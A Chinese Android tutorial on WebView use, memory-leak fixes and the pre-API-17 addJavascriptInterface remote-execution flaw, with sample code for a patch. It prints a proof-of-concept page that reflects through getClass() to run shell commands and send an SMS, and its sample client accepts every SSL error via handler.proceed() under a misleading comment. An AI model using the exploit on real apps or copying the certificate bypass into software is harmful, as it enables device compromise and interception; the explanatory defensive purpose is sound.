Android_Webview的使用/内存优化/远程执行漏洞处理
来源:互联网 发布:iphone6splus精仿淘宝 编辑:程序博客网 时间:2024/06/05 09:01
Android_Webview的使用/内存优化/远程执行漏洞处理
本文由 Luzhuo 编写,转发请保留该信息.
原文: http://blog.csdn.net/Rozol/article/details/73808619
Android_Webview的基本使用
内存优化
api<17时的远程执行漏洞处理
WebView使用详解
使用案例
完整代码参考
package me.luzhuo.webviewdemo.webview;import android.graphics.Bitmap;import android.net.http.SslError;import android.os.Build;import android.os.Bundle;import android.support.v7.app.AppCompatActivity;import android.text.TextUtils;import android.util.Log;import android.view.KeyEvent;import android.view.View;import android.view.ViewGroup;import android.webkit.JavascriptInterface;import android.webkit.JsPromptResult;import android.webkit.JsResult;import android.webkit.SslErrorHandler;import android.webkit.WebChromeClient;import android.webkit.WebSettings;import android.webkit.WebView;import android.webkit.WebViewClient;import android.widget.LinearLayout;import android.widget.RelativeLayout;import org.json.JSONArray;import org.json.JSONObject;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Iterator;import java.util.Map;import me.luzhuo.webviewdemo.R;import me.luzhuo.webviewdemo.utils.NetUtils;/** * ================================================= * <p> * Author: Luzhuo * <p> * Version: 1.0 * <p> * Creation Date: 2017/6/22 18:00 * <p> * Description: 混合开发完整代码 * <p> * Revision History: * <p> * Copyright: Copyright 2017 Luzhuo. All rights reserved. * <p> * ================================================= **/public class HybridActivity extends AppCompatActivity { private final String TAG = WebViewJSActivity.class.getSimpleName(); private RelativeLayout webview_layout; private WebView webview; private String url = "http://luzhuo.me/android/case/webview/webview_js.html";// private String url = "http://www.baidu.com"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_js); webview_layout = (RelativeLayout) findViewById(R.id.webview_layout); initView(); initData(); } private void initView(){ LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT); webview = new WebView(getApplicationContext()); webview.setLayoutParams(params); webview_layout.addView(webview); WebSettings webSettings = webview.getSettings(); webview.setWebViewClient(webViewClient); webview.setWebChromeClient(webChromeClient); jsEnabled(webSettings, true); // 启用JS optimization(webSettings); // 优化 } /** * 请求事件 */ WebViewClient webViewClient = new WebViewClient() { @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { view.loadUrl(url); return true; // true不使用系统浏览器 } // 加载通知 @Override public void onPageStarted(WebView view, String url, Bitmap favicon) { // 准备加载 } @Override public void onPageFinished(WebView view, String url) { // 加载完成 // 加载新的页面时,都需要注入js片段 injectJavascriptInterfaces(); } @Override public void onLoadResource(WebView view, String url) { // 每个资源的加载都会调用 } @Override public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { // 网页加载失败时的处理 switch(errorCode) { case 404: // 访问的页面不存在 // ... break; } } @Override public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) { // https的处理 handler.proceed(); // 等待证书响应 } }; /** * 辅助 */ WebChromeClient webChromeClient = new WebChromeClient() { @Override public void onProgressChanged(WebView view, int newProgress) { // 加载进度 if (newProgress >= 100) return; Log.e(TAG, "onProgressChanged: " + newProgress + "%"); } @Override public void onReceivedTitle(WebView view, String title) { // 获取标题 Log.e(TAG, "onReceivedTitle: " + title); } // 弹框处理 @Override public boolean onJsAlert(WebView view, String url, String message, JsResult result) { // 警告框 return false; // false(默认)不处理 } @Override public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) { // 提示框 if (parseJsInterface(message, result)) return true; return false; // false(默认)不处理 } @Override public boolean onJsConfirm(WebView view, String url, String message, JsResult result) { // 确认框 return false; // false(默认)不处理 } }; private void initData(){ // 加载网页 webview.loadUrl(url); } @Override protected void onDestroy() { // 销毁webview if (webview != null) { webview.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); webview.clearHistory(); webview_layout.removeView(webview); webview.removeAllViews(); webview.destroy(); webview = null; } super.onDestroy(); } /** * 后退 * @param keyCode * @param event * @return */ @Override public boolean onKeyDown(int keyCode, KeyEvent event) { if (keyCode == KeyEvent.KEYCODE_BACK && webview.canGoBack()) { webview.goBack(); return true; } return super.onKeyDown(keyCode, event); } private void optimization(WebSettings webSettings){ // 屏幕自适应 webSettings.setUseWideViewPort(false); // 调整图片至合适大小 (true会导致无限滚屏) webSettings.setLoadWithOverviewMode(false); // 缩放至合适大小 // 支持缩放 webSettings.setSupportZoom(false); //支持缩放 webSettings.setBuiltInZoomControls(false); // 允许使用内置的缩放控件 webSettings.setDisplayZoomControls(false); // 使用原生的缩放控件 // 缓存策略: LOAD_CACHE_ONLY:不使用网络,只读取本地缓存数据; LOAD_DEFAULT:(默认)根据cache-control决定是否从网络上取数据; LOAD_NO_CACHE: 不使用缓存,只从网络获取数据; LOAD_CACHE_ELSE_NETWORK:只要本地有,都使用缓存中的数据 if (NetUtils.isConnected(this)) webSettings.setCacheMode(WebSettings.LOAD_NO_CACHE); else webSettings.setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK); // 可以访问文件 webSettings.setAllowFileAccess(true); // 支持通过JS打开新窗口 webSettings.setJavaScriptCanOpenWindowsAutomatically(true); // 支持自动加载图片 webSettings.setLoadsImagesAutomatically(true); // 设置编码格式 webSettings.setDefaultTextEncodingName("utf-8"); // 安全 webSettings.setSavePassword(false); // false不许明文密码保存 webSettings.setAllowFileAccess(false); // false不许使用file协议 if (Build.VERSION.SDK_INT >= 16) { webSettings.setAllowFileAccessFromFileURLs(false); // false为js不许读取本地文件, api≤16:默认允许, api≥17:默认关闭 webSettings.setAllowUniversalAccessFromFileURLs(false); // false为js不许读取其他资源链接, api≤16:默认允许, api≥17:默认关闭 } // 移除危险的注入对象(api≥11 && api<17) if (Build.VERSION.SDK_INT >= 11 && Build.VERSION.SDK_INT < 17) { webview.removeJavascriptInterface("searchBoxJavaBridge_"); webview.removeJavascriptInterface("accessibility"); webview.removeJavascriptInterface("accessibilityTraversal"); } } /** * 启用js * @param enabled 是否启用js, true启用 */ private void jsEnabled(WebSettings webSettings, boolean enabled){ final String name = "callJS"; webSettings.setJavaScriptEnabled(enabled); // 支持js // java / js 互调 if(enabled){ // api≥17时,使用系统的, 否则自己处理注入方式 if (Build.VERSION.SDK_INT >= 17) webview.addJavascriptInterface(new CallJS(), name); else javascriptInterfaces.put(name, new CallJS()); }else{ if (Build.VERSION.SDK_INT >= 17){ webview.removeJavascriptInterface(name); }else{ javascriptInterfaces.remove(name); jsCache = null; injectJavascriptInterfaces(); } } } class CallJS{ /** * 给js调用的无参方法, js通过: var str = window.callJS.JSCallJava(); 调用 * @return 给js的返回值 */ @JavascriptInterface public String JSCallJava() { String content = "JSCallJava"; Log.e(TAG, content); return content; } /** * 给js调用的有参方法, js通过: var str = window.callJS.JSCallJava2("i am js."); 调用 * @param param js提供的参数 * @return 给js的返回值 */ @JavascriptInterface public String JSCallJava2(String param) { String content = "JSCallJava2: ".concat(param); Log.e(TAG, content); return content; } } public void calljs(View view){ JavaCallJS(); } public void calljs_c(View view){ JavaCallJS2("i am java."); } /** * 调用js的无参方法, webview通过: webview.loadUrl("javascript:calljs()"); 调用 */ public void JavaCallJS() { webview.loadUrl("javascript:calljs()"); } /** * 调用js的有参方法, webview通过: webview.loadUrl("javascript:calljs2('i am java.')"); 调用 * @param arg 传给 */ public void JavaCallJS2(String arg) { webview.loadUrl("javascript:calljs2('" + arg + "')"); } // ================================ api<17, 防攻击代码 ↓ ================================= private HashMap<String, Object> javascriptInterfaces = new HashMap<>(); private String jsCache = null; // js防攻击片段 /** * 注入防攻击js片段,并加载 */ private void injectJavascriptInterfaces() { if (!TextUtils.isEmpty(jsCache)) { webview.loadUrl(jsCache); return; } if (javascriptInterfaces.size() == 0) { jsCache = null; } /* * 防攻击js片段 * 生成XXX_obj对象的所有方法 * * javascript:(function addJavascriptInterface(){ * if(typeof(window.XXX_obj)!='undefined'){ * console.log('window.XXX_obj is exist!!'); * }else{ * window.XXX_obj={ * XXX_method:function(arg0,arg1){ * return prompt('MyApp:'+JSON.stringify({obj:'XXX_obj',func:'XXX_method',args:[arg0,arg1]})); * }, * }; * } * })() */ // 生成 Iterator<Map.Entry<String, Object>> iterator = javascriptInterfaces.entrySet().iterator(); StringBuilder jsScript = new StringBuilder(); jsScript.append("javascript:(function addJavascriptInterface(){"); // 遍历待注入java对象,生成相应的js对象 try { while (iterator.hasNext()) { Map.Entry<String, Object> entry = iterator.next(); String interfaceName = entry.getKey(); Object obj = entry.getValue(); // 生成相应的js方法 createJsMethod(interfaceName, obj, jsScript); } } catch (Exception e) { e.printStackTrace(); } jsScript.append("})()"); jsCache = jsScript.toString(); webview.loadUrl(jsCache); } /** * 生成js方法 */ private void createJsMethod(String interfaceName, Object obj, StringBuilder script) { if (TextUtils.isEmpty(interfaceName) || (null == obj) || (null == script)) { return; } Class<? extends Object> objClass = obj.getClass(); // if(typeof(window.XXX_obj)!='undefined'){ script.append("if(typeof(window.").append(interfaceName).append(")!='undefined'){"); // console.log('window.XXX_obj is exist!!'); script.append(" console.log('window." + interfaceName + " is exist!!');"); script.append("}else{"); // window.XXX_obj={ script.append(" window.").append(interfaceName).append("={"); // 通过反射机制, 添加java对象的方法 Method[] methods = objClass.getMethods(); for (Method method : methods) { String methodName = method.getName(); // 过滤掉Object类中的一些危险的方法,如getClass()方法 if (filterMethods(methodName)) continue; // XXX_method:function(arg0,arg1){ script.append(" ").append(methodName).append(":function("); int argCount = method.getParameterTypes().length; if (argCount > 0) { int maxCount = argCount - 1; for (int i = 0; i < maxCount; ++i) { script.append("arg").append(i).append(","); } script.append("arg").append(argCount - 1); } script.append(") {"); // return prompt('MyApp:'+JSON.stringify({obj:'XXX_obj',func:'XXX_method',args:[arg0,arg1]})); if (method.getReturnType() != void.class) { script.append(" return ").append("prompt('").append("MyApp:").append("'+"); } else { script.append(" prompt('").append("MyApp:").append("'+"); } script.append("JSON.stringify({"); script.append("obj").append(":'").append(interfaceName).append("',"); script.append("func").append(":'").append(methodName).append("',"); script.append("args").append(":["); if (argCount > 0) { int max = argCount - 1; for (int i = 0; i < max; i++) { script.append("arg").append(i).append(","); } script.append("arg").append(max); } script.append("]})"); script.append(");"); script.append(" }, "); } script.append(" };"); script.append("}"); } /** * 过滤掉一些危险的方法 */ private static final String[] filterMethods = { "getClass", "hashCode", "notify", "notifyAll", "equals", "toString", "wait", }; /** * 检查是否是被过滤的方法 */ private boolean filterMethods(String methodName) { for (String method : filterMethods) { if (method.equals(methodName)) { return true; } } return false; } /** * 解析JavaScript调用prompt的参数message * 解析出提类名,方法名,参数列表,然后利用反射调用java对象方法 */ private boolean parseJsInterface(String message, JsPromptResult result) { if (!message.startsWith("MyApp:")) { return false; } // return prompt('MyApp:'+JSON.stringify({obj:'XXX_obj',func:'XXX_method',args:[arg0,arg1]})); String jsonStr = message.substring("MyApp:".length()); try { JSONObject jsonObj = new JSONObject(jsonStr); String interfaceName = jsonObj.getString("obj"); String methodName = jsonObj.getString("func"); JSONArray argsArray = jsonObj.getJSONArray("args"); Object[] args = null; if (null != argsArray) { int count = argsArray.length(); if (count > 0) { args = new Object[count]; for (int i = 0; i < count; ++i) { Object arg = argsArray.get(i); if (!arg.toString().equals("null")) args[i] = arg; else args[i] = null; } } } if (invokeJSInterfaceMethod(result, interfaceName, methodName, args)) { return true; } } catch (Exception e) { e.printStackTrace(); } result.cancel(); return false; } /** * 利用反射, 调用java对象的方法 */ private boolean invokeJSInterfaceMethod(JsPromptResult result, String interfaceName, String methodName, Object[] args) { boolean succeed = false; final Object obj = javascriptInterfaces.get(interfaceName); if (null == obj) { result.cancel(); return false; } Class<?>[] parameterTypes = null; int count = 0; if (args != null) { count = args.length; } if (count > 0) { parameterTypes = new Class[count]; for (int i = 0; i < count; ++i) { parameterTypes[i] = getClassFromJsonObject(args[i]); } } try { Method method = obj.getClass().getMethod(methodName, parameterTypes); Object returnObj = method.invoke(obj, args); boolean isVoid = returnObj == null || returnObj.getClass() == void.class; String returnValue = isVoid ? "" : returnObj.toString(); result.confirm(returnValue); // 通过prompt()返回调用结果 succeed = true; } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } result.cancel(); return succeed; } /** * 解析参数类型 */ private Class<?> getClassFromJsonObject(Object obj) { Class<?> cls = obj.getClass(); if (cls == Integer.class) { cls = Integer.TYPE; } else if (cls == Boolean.class) { cls = Boolean.TYPE; } else { cls = String.class; } return cls; } // ================================ api<17, 防攻击代码 ↑ =================================}
最基本的使用
package me.luzhuo.webviewdemo.webview;import android.os.Bundle;import android.support.v7.app.AppCompatActivity;import android.view.ViewGroup;import android.webkit.WebView;import android.webkit.WebViewClient;import android.widget.LinearLayout;import android.widget.RelativeLayout;import me.luzhuo.webviewdemo.R;/** * ================================================= * <p> * Author: Luzhuo * <p> * Version: 1.0 * <p> * Creation Date: 2017/6/15 17:26 * <p> * Description: WebView最基本的使用, 比如用于加载版权声明页面 * <p> * Revision History: * <p> * Copyright: Copyright 2017 Luzhuo. All rights reserved. * <p> * ================================================= **/public class WebViewBaseUseActivity extends AppCompatActivity { private RelativeLayout webview_layout; private WebView webview; private String url = "https://www.baidu.com"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_html5); webview_layout = (RelativeLayout) findViewById(R.id.webview_layout); initView(); initData(); } private void initView(){ LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT); webview = new WebView(getApplicationContext()); webview.setLayoutParams(params); webview_layout.addView(webview); WebSettings webSettings = webview.getSettings(); if (NetUtils.isConnected(this)) webSettings.setCacheMode(WebSettings.LOAD_NO_CACHE); else webSettings.setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK); webview.setWebViewClient(webViewClient); } WebViewClient webViewClient = new WebViewClient() { @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { view.loadUrl(url); return true; } }; private void initData(){ // 加载网页 webview.loadUrl(url); // 加载资源路径格式 // https://www.baidu.com // file:///android_asset/test.html // content://com.android.htmlfileprovider/sdcard/test.html } @Override protected void onDestroy() { // 销毁webview if (webview != null) { webview.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); webview.clearHistory(); webview_layout.removeView(webview); webview.removeAllViews(); webview.destroy(); webview = null; } super.onDestroy(); }}
内存泄露优化
- 优化处理(代码见
最基本的使用
):- 创建:
- 在需要的时候创建WebView并添加到指定容器里
- new WebView(context)是,context使用getApplicationContext(),这样可避免WebView影响Activity的回收而造成内存泄露
- 销毁:
- 先让WebView加载null内容(会停止之前未加载完成的页面),
- 然后将WebView从父容器移除,
- webview也移除所有view,
- 接着销毁WebView,
- 然后置为null,
- 最后Activity就可以安全的销毁了
- 创建:
- 使用
webview.loadDataWithBaseURL(null, "", "text/html", "utf-8", null);
会停止加载之前未加载完成的页面,左边是加了这行代码的效果,右边是没加这行代码的效果 - 经过优化,内存的使用量维持在一定的水平;未经过优化,内存的使用量真是一路向西呀.左图是经过优化处理的代码,右图是直接将WebView写在XML布局里,并在Activity销毁时调用
webview.destroy();
方法
WebView与JS相互调用的代码
package me.luzhuo.webviewdemo.webview;import android.os.Bundle;import android.support.v7.app.AppCompatActivity;import android.util.Log;import android.view.View;import android.view.ViewGroup;import android.webkit.JavascriptInterface;import android.webkit.WebSettings;import android.webkit.WebView;import android.webkit.WebViewClient;import android.widget.LinearLayout;import android.widget.RelativeLayout;import me.luzhuo.webviewdemo.R;/** * ================================================= * <p> * Author: Luzhuo * <p> * Version: 1.0 * <p> * Creation Date: 2017/6/15 17:26 * <p> * Description: WebView与JS相互调用的案例代码, 经常用于移动端混合开发 * <p> * Revision History: * <p> * Copyright: Copyright 2017 Luzhuo. All rights reserved. * <p> * ================================================= **/public class WebViewJSActivity extends AppCompatActivity { private final String TAG = WebViewJSActivity.class.getSimpleName(); private RelativeLayout webview_layout; private WebView webview; private String url = "http://luzhuo.me/android/case/webview/webview_js.html"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_js); webview_layout = (RelativeLayout) findViewById(R.id.webview_layout); initView(); initData(); } private void initView(){ LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT); webview = new WebView(getApplicationContext()); webview.setLayoutParams(params); webview_layout.addView(webview); WebSettings webSettings = webview.getSettings(); webview.setWebViewClient(webViewClient); jsEnabled(webSettings, true); // 启用JS } WebViewClient webViewClient = new WebViewClient() { @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { view.loadUrl(url); return true; } }; private void initData(){ // 加载网页 webview.loadUrl(url); } @Override protected void onDestroy() { // 销毁webview if (webview != null) { webview.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); webview.clearHistory(); webview_layout.removeView(webview); webview.removeAllViews(); webview.destroy(); webview = null; } super.onDestroy(); } /** * 启用js * @param enabled 是否启用js, true启用 */ private void jsEnabled(WebSettings webSettings, boolean enabled){ final String name = "callJS"; webSettings.setJavaScriptEnabled(enabled); // 支持js // java / js 互调 if(enabled) webview.addJavascriptInterface(this, name); else webview.removeJavascriptInterface(name); } public void calljs(View view){ JavaCallJS(); } public void calljs_c(View view){ JavaCallJS2("i am java."); } /** * 给js调用的无参方法, js通过: var str = window.callJS.JSCallJava(); 调用 * @return 给js的返回值 */ @JavascriptInterface public String JSCallJava() { String content = "JSCallJava"; Log.e(TAG, content); return content; } /** * 给js调用的有参方法, js通过: var str = window.callJS.JSCallJava2("i am js."); 调用 * @param param js提供的参数 * @return 给js的返回值 */ @JavascriptInterface public String JSCallJava2(String param) { String content = "JSCallJava2: ".concat(param); Log.e(TAG, content); return content; } /** * 调用js的无参方法, webview通过: webview.loadUrl("javascript:calljs()"); 调用 */ public void JavaCallJS() { webview.loadUrl("javascript:calljs()"); } /** * 调用js的有参方法, webview通过: webview.loadUrl("javascript:calljs2('i am java.')"); 调用 * @param arg 传给 */ public void JavaCallJS2(String arg) { webview.loadUrl("javascript:calljs2('" + arg + "')"); }}
- 结果
远程执行漏洞
含有恶意代码的网页
<!DOCTYPE HTML><html> <head> <meta http-equiv="Content-Type" content="text/html;charset=utf-8" /> <title>WebView安全漏洞</title> <script type="text/javascript"> function getContents(inputStream) { var contents = ""; var bytes = inputStream.read(); while(bytes != -1) { var str = String.fromCharCode(bytes); contents += str; contents += "\r\n" bytes = inputStream.read(); } return contents; } function execute(cmdArgs){ for (var obj in window) { if ("getClass" in window[obj]) { return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } } return null; } var res = execute(["ls","/mnt/sdcard/"]); if (res != null) { document.write(getContents(res.getInputStream())); } function sendMessage(){ for (var obj in window) { if ("getClass" in window[obj]) { // 发短信 var smsManager = window[obj].getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null); smsManager.sendTextMessage("10086",null,"this a message from js."); } } } </script> </head> <body> </body></html>
这是修复api<17远程执行漏洞的代码(api≥17,系统已修复该漏洞)
package me.luzhuo.webviewdemo.webview;import android.os.Build;import android.os.Bundle;import android.support.v7.app.AppCompatActivity;import android.text.TextUtils;import android.util.Log;import android.view.View;import android.view.ViewGroup;import android.webkit.JavascriptInterface;import android.webkit.JsPromptResult;import android.webkit.WebChromeClient;import android.webkit.WebSettings;import android.webkit.WebView;import android.webkit.WebViewClient;import android.widget.LinearLayout;import android.widget.RelativeLayout;import org.json.JSONArray;import org.json.JSONObject;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Iterator;import java.util.Map;import me.luzhuo.webviewdemo.R;public class WebViewHolesActivity extends AppCompatActivity { private final String TAG = WebViewHolesActivity.class.getSimpleName(); private RelativeLayout webview_layout; private WebView webview; private String url = "http://luzhuo.me/android/case/webview/webview_holes.html"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_holes); webview_layout = (RelativeLayout) findViewById(R.id.webview_layout); initView(); initData(); } private void initView(){ LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT); webview = new WebView(getApplicationContext()); webview.setLayoutParams(params); webview_layout.addView(webview); WebSettings webSettings = webview.getSettings(); webview.setWebViewClient(webViewClient); webview.setWebChromeClient(webChromeClient); jsEnabled(webSettings, true); // 启用JS optimization(webSettings); // 安全优化 } WebViewClient webViewClient = new WebViewClient() { @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { view.loadUrl(url); return true; } @Override public void onPageFinished(WebView view, String url) { // 加载新的页面时,都需要注入js片段 injectJavascriptInterfaces(); } }; WebChromeClient webChromeClient = new WebChromeClient() { @Override public final boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) { if (parseJsInterface(message, result)) return true; return false; } }; private void initData(){ // 加载网页 webview.loadUrl(url); } @Override protected void onDestroy() { // 销毁webview if (webview != null) { webview.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); webview.clearHistory(); webview_layout.removeView(webview); webview.removeAllViews(); webview.destroy(); webview = null; } super.onDestroy(); } /** * 启用js * @param enabled 是否启用js, true启用 */ private void jsEnabled(WebSettings webSettings, boolean enabled){ final String name = "webviewHoles"; webSettings.setJavaScriptEnabled(enabled); // 支持js // java / js 互调 if(enabled){ // api≥17时,使用系统的, 否则自己处理注入方式 if (Build.VERSION.SDK_INT >= 17) webview.addJavascriptInterface(new WebviewHoles(), name); else javascriptInterfaces.put(name, new WebviewHoles()); }else{ if (Build.VERSION.SDK_INT >= 17){ webview.removeJavascriptInterface(name); }else{ javascriptInterfaces.remove(name); jsCache = null; injectJavascriptInterfaces(); } } } /** * 安全相关优化 * @param webSettings */ private void optimization(WebSettings webSettings){ // 安全 webSettings.setSavePassword(false); // false不许明文密码保存 webSettings.setAllowFileAccess(false); // false不许使用file协议 if (Build.VERSION.SDK_INT >= 16) { webSettings.setAllowFileAccessFromFileURLs(false); // false为js不许读取本地文件, api≤16:默认允许, api≥17:默认关闭 webSettings.setAllowUniversalAccessFromFileURLs(false); // false为js不许读取其他资源链接, api≤16:默认允许, api≥17:默认关闭 } // 移除危险的注入对象(api≥11 && api<17) if (Build.VERSION.SDK_INT >= 11 && Build.VERSION.SDK_INT < 17) { webview.removeJavascriptInterface("searchBoxJavaBridge_"); // 存在执行远程代码执行的威胁 webview.removeJavascriptInterface("accessibility"); // 存在执行远程代码执行的威胁 webview.removeJavascriptInterface("accessibilityTraversal"); // 存在执行远程代码执行的威胁 } } public void send(View view){ webview.loadUrl("javascript:sendMessage()"); } /** * 被js访问的类 */ class WebviewHoles{ /** * api≥17,被js调用的方法必须被 @JavascriptInterface 注解 * @return */ @JavascriptInterface public String JSCallJava() { String content = "JSCallJava"; Log.e(TAG, content); return content; } } // ================================ api<17, 防攻击代码 ↓ ================================= private HashMap<String, Object> javascriptInterfaces = new HashMap<>(); private String jsCache = null; // js防攻击片段 /** * 注入防攻击js片段,并加载 */ private void injectJavascriptInterfaces() { if (!TextUtils.isEmpty(jsCache)) { webview.loadUrl(jsCache); return; } if (javascriptInterfaces.size() == 0) { jsCache = null; } /* * 防攻击js片段 * 生成XXX_obj对象的所有方法 * * javascript:(function addJavascriptInterface(){ * if(typeof(window.XXX_obj)!='undefined'){ * console.log('window.XXX_obj is exist!!'); * }else{ * window.XXX_obj={ * XXX:function(arg0,arg1){ * return prompt('MyApp:'+JSON.stringify({obj:'XXX_obj',func:'XXX_method',args:[arg0,arg1]})); * }, * }; * } * })() */ // 生成 Iterator<Map.Entry<String, Object>> iterator = javascriptInterfaces.entrySet().iterator(); StringBuilder jsScript = new StringBuilder(); jsScript.append("javascript:(function addJavascriptInterface(){"); // 遍历待注入java对象,生成相应的js对象 try { while (iterator.hasNext()) { Map.Entry<String, Object> entry = iterator.next(); String interfaceName = entry.getKey(); Object obj = entry.getValue(); // 生成相应的js方法 createJsMethod(interfaceName, obj, jsScript); } } catch (Exception e) { e.printStackTrace(); } jsScript.append("})()"); jsCache = jsScript.toString(); webview.loadUrl(jsCache); } /** * 生成js方法 */ private void createJsMethod(String interfaceName, Object obj, StringBuilder script) { if (TextUtils.isEmpty(interfaceName) || (null == obj) || (null == script)) { return; } Class<? extends Object> objClass = obj.getClass(); // if(typeof(window.XXX_obj)!='undefined'){ script.append("if(typeof(window.").append(interfaceName).append(")!='undefined'){"); // console.log('window.XXX_obj is exist!!'); script.append(" console.log('window." + interfaceName + " is exist!!');"); script.append("}else{"); // window.XXX_obj={ script.append(" window.").append(interfaceName).append("={"); // 通过反射机制, 添加java对象的方法 Method[] methods = objClass.getMethods(); for (Method method : methods) { String methodName = method.getName(); // 过滤掉Object类中的一些危险的方法,如getClass()方法 if (filterMethods(methodName)) continue; // XXX:function(arg0,arg1){ script.append(" ").append(methodName).append(":function("); int argCount = method.getParameterTypes().length; if (argCount > 0) { int maxCount = argCount - 1; for (int i = 0; i < maxCount; ++i) { script.append("arg").append(i).append(","); } script.append("arg").append(argCount - 1); } script.append(") {"); // return prompt('MyApp:'+JSON.stringify({obj:'XXX_obj',func:'XXX_method',args:[arg0,arg1]})); if (method.getReturnType() != void.class) { script.append(" return ").append("prompt('").append("MyApp:").append("'+"); } else { script.append(" prompt('").append("MyApp:").append("'+"); } script.append("JSON.stringify({"); script.append("obj").append(":'").append(interfaceName).append("',"); script.append("func").append(":'").append(methodName).append("',"); script.append("args").append(":["); if (argCount > 0) { int max = argCount - 1; for (int i = 0; i < max; i++) { script.append("arg").append(i).append(","); } script.append("arg").append(max); } script.append("]})"); script.append(");"); script.append(" }, "); } script.append(" };"); script.append("}"); } /** * 过滤掉一些危险的方法 */ private static final String[] filterMethods = { "getClass", "hashCode", "notify", "notifyAll", "equals", "toString", "wait", }; /** * 检查是否是被过滤的方法 */ private boolean filterMethods(String methodName) { for (String method : filterMethods) { if (method.equals(methodName)) { return true; } } return false; } /** * 解析JavaScript调用prompt的参数message * 解析出提类名,方法名,参数列表,然后利用反射调用java对象方法 */ private boolean parseJsInterface(String message, JsPromptResult result) { if (!message.startsWith("MyApp:")) { return false; } // return prompt('MyApp:'+JSON.stringify({obj:'XXX_obj',func:'XXX_method',args:[arg0,arg1]})); String jsonStr = message.substring("MyApp:".length()); try { JSONObject jsonObj = new JSONObject(jsonStr); String interfaceName = jsonObj.getString("obj"); String methodName = jsonObj.getString("func"); JSONArray argsArray = jsonObj.getJSONArray("args"); Object[] args = null; if (null != argsArray) { int count = argsArray.length(); if (count > 0) { args = new Object[count]; for (int i = 0; i < count; ++i) { Object arg = argsArray.get(i); if (!arg.toString().equals("null")) args[i] = arg; else args[i] = null; } } } if (invokeJSInterfaceMethod(result, interfaceName, methodName, args)) { return true; } } catch (Exception e) { e.printStackTrace(); } result.cancel(); return false; } /** * 利用反射, 调用java对象的方法 */ private boolean invokeJSInterfaceMethod(JsPromptResult result, String interfaceName, String methodName, Object[] args) { boolean succeed = false; final Object obj = javascriptInterfaces.get(interfaceName); if (null == obj) { result.cancel(); return false; } Class<?>[] parameterTypes = null; int count = 0; if (args != null) { count = args.length; } if (count > 0) { parameterTypes = new Class[count]; for (int i = 0; i < count; ++i) { parameterTypes[i] = getClassFromJsonObject(args[i]); } } try { Method method = obj.getClass().getMethod(methodName, parameterTypes); Object returnObj = method.invoke(obj, args); boolean isVoid = returnObj == null || returnObj.getClass() == void.class; String returnValue = isVoid ? "" : returnObj.toString(); result.confirm(returnValue); // 通过prompt()返回调用结果 succeed = true; } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } result.cancel(); return succeed; } /** * 解析参数类型 */ private Class<?> getClassFromJsonObject(Object obj) { Class<?> cls = obj.getClass(); if (cls == Integer.class) { cls = Integer.TYPE; } else if (cls == Boolean.class) { cls = Boolean.TYPE; } else { cls = String.class; } return cls; } // ================================ api<17, 防攻击代码 ↑ =================================}
这个漏洞是远程执行漏洞,从window中调用
getClass()
获取class对象,然后通过反射机制调用java中的任何代码return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);var smsManager = window[obj].getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);smsManager.sendTextMessage("10086",null,"this a message from js.");
修补这个漏洞,主要是通过java要被js调用的类生成js片段代码,去掉了
getClass()
之类的危险方法,然后通过load()加载到页面中.当js要调用java中的方法时,会调用js中的片段,执行prompt(message)
方法(该方法原本是用于弹出提示框),执行后会回调webview的onJsPrompt()接口,返回对返回的带有类名和方法名的信息进行反射执行.- 整个执行过程图,可参考
完整代码参考
阅读全文
0 0
- Android_Webview的使用/内存优化/远程执行漏洞处理
- Elasticsearch的远程执行漏洞
- struts2 的几个远程代码执行漏洞
- struts2远程执行漏洞
- Windows写字板HTML帮助文件处理远程代码执行漏洞
- JBOSS远程代码执行漏洞
- JBOSS远程代码执行漏洞
- JBOSS远程代码执行漏洞
- struts2远程执行漏洞学习
- Struts2远程代码执行漏洞
- php远程执行漏洞分析
- JBOSS远程代码执行漏洞
- Struts2远程代码执行漏洞
- Activemq远程代码执行漏洞
- Struts2远程命令执行漏洞
- QQ的漏洞~~远程下载文件~~可惜没想到怎么执行
- php5.4.3的远程代码执行漏洞,提权挺管用
- PayPal站点的远程代码执行漏洞演示【附视频】
- 关于百度推送10101错误码的解决
- Android Toast在子线程中为什么无法正常使用
- 相关滤波、KCF、循环对角化
- Android旧项目集成React Native简易流程
- SpringMVC日期类型转换问题的几种处理方法
- Android_Webview的使用/内存优化/远程执行漏洞处理
